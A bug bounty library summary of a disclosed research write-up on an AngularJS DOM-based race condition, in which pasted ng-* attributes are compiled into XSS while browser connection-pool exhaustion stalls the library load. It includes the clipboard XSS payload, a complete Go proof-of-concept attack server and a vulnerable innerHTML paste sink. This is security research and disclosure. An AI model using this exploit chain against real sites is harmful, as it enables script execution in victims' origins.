# DOM-based race condition: racing in the browser for fun

AngularJS evaluates ng-* attributes pasted into a contenteditable element before the library loads, enabling XSS via a connection-pool-exhaustion race window.

- Payout: Research
- Severity: medium
- Program: AngularJS
- Write-up by: RyotaK
- Disclosed: 2023-10-29
- Write-up quality: 8/10
- Original: https://blog.ryotak.net/post/dom-based-race-condition/
- Library page: https://bugbountylibrary.com/r/blog%3Ablog-ryotak-net-post-dom-based-race-condition
- Tags: area:os domain:browser domain:web impact:integrity kind:research platform:research sev:medium tech:chromium technique:chained technique:race-window vuln:xss

**Target:** Browser DOM / AngularJS library loading
**Root cause:** AngularJS binds ng-* event directives to elements after DOMContentLoaded, so elements inserted into a contenteditable before the library loads get compiled and evaluated. Chromium's paste sanitizer uses a deny-list that permits custom ng-* attributes.
**Steps:**
1. Victim page has `<div contenteditable>` followed by `<script src=angular.min.js>`; ~30ms delay after the contenteditable element is rendered but before AngularJS is fully loaded.
2. Attacker page sets clipboard via `document.execCommand('copy')` with `event.clipboardData.setData('text/html', '<br><div data-ng-app>{{constructor.constructor("alert(document.domain)")();}}</div>')`.
3. Exhaust Chromium's 256-connection pool by opening 255 fetches to `/sleep` endpoints that never respond.
4. Open victim page in new tab; cancel one connection and immediately open another to keep pool exhausted while victim HTML parses.
5. Victim pastes payload into contenteditable; AngularJS later loads and evaluates the ng-app expression, executing alert(document.domain).
**How found:** Observed that AngularJS attaches event listeners per-element after DOMContentLoaded rather than delegating on document (unlike rails-ujs CVE-2023-23913), so pasted elements only execute if inserted before AngularJS loads. Then reasoned about extending the tiny 30ms window using connection-pool exhaustion from XS-Leaks research.
**Exploitation:** Attacker lures victim to attacker page, copies malicious HTML to clipboard, exhausts browser connection pool to stall AngularJS fetch, opens victim page, and tricks victim into pasting into the contenteditable. When the pool is released, AngularJS loads and compiles the injected ng-app expression, executing attacker JS in the victim origin.
**Insight:** Libraries that scan the DOM for attributes after load (AngularJS ng-*, rails-ujs data-*) can be fed attacker HTML via contenteditable paste; Chromium's deny-list sanitizer permits custom attributes. Widen the load race by exhausting the 256-connection pool and swapping one connection to stall the library fetch.

## Proof of concept (copied exactly from the original report)

**Go PoC exhausting connection pool to race AngularJS**

```
package main

import (
 "fmt"
 "log"
 "net/http"
 "strconv"
 "time"
)

const(
 SERVER_IP = ""
)

func attack(w http.ResponseWriter, r *http.Request) {
 w.Header().Set("Content-Type", "text/html")
 fmt.Fprintf(w, `
<script>
async function fill_sockets(amount) {
 return new Promise((resolve, reject) => {
 let count = 0;
 const intervalId = setInterval(() => {
 if(count >= amount) {
 clearInterval(intervalId);
 resolve();
 return;
 }
 fetch('http://%s:' + (28000 + count) + '/sleep', {mode: "no-cors", cache: "no-store"});
 count++;
 }, 5);
 });
}

async function swap_connections(func, delay) {
 let timer = new AbortController();
 setTimeout(() => {
 timer.abort();
 timer = new AbortController();
 setTimeout(() => timer.abort(), delay*1000);
 fetch('http://%[1]s:28255/sleep', {mode: "no-cors", cache: "no-store", signal: timer.signal});
 }, 1000);
 fetch('http://%[1]s:28255/sleep', {mode: "no-cors", cache: "no-store", signal: timer.signal});
 func();
}

async function attack() {
 document.execCommand("copy");
 document.write("Filling the connection pool...<br>");
 await fill_sockets(255);
 document.write("Opening the victim page...<br>");
 swap_connections(() => {
 window.open('https://ryotak-challenges.github.io/xss-chall-1/', '_blank');
 }, 10);
}

document.addEventListener('copy', (e) => {
 e.preventDefault();
 e.clipboardData.setData('text/html', '<br><div data-ng-app>{{constructor.constructor("alert(document.domain)")();}}</div>');
 document.write("Copied the payload<br>");
});
</script>
<button onclick=attack()>Attack</button>`, SERVER_IP)
}

func sleep(w http.ResponseWriter, r *http.Request) {
 time.Sleep(24 * time.Hour * 365)
}

func handleRequests() {
 http.HandleFunc("/", attack)
 http.HandleFunc("/sleep", sleep)

 for i := 1; i <= 256; i++ {
 go http.ListenAndServe(":"+strconv.Itoa(28000+i), nil)
 }
 log.Fatal(http.ListenAndServe(":28000", nil))
}

func main() {
 handleRequests()
}
```

**Vulnerable paste handler innerHTML sink**

```
<input placeholder="Paste here" id="pasted"/>
<script>
document.addEventListener('paste', event => {
 const data = event.clipboardData.getData('text/html');
 pasted.innerHTML = data;
});
</script>
```

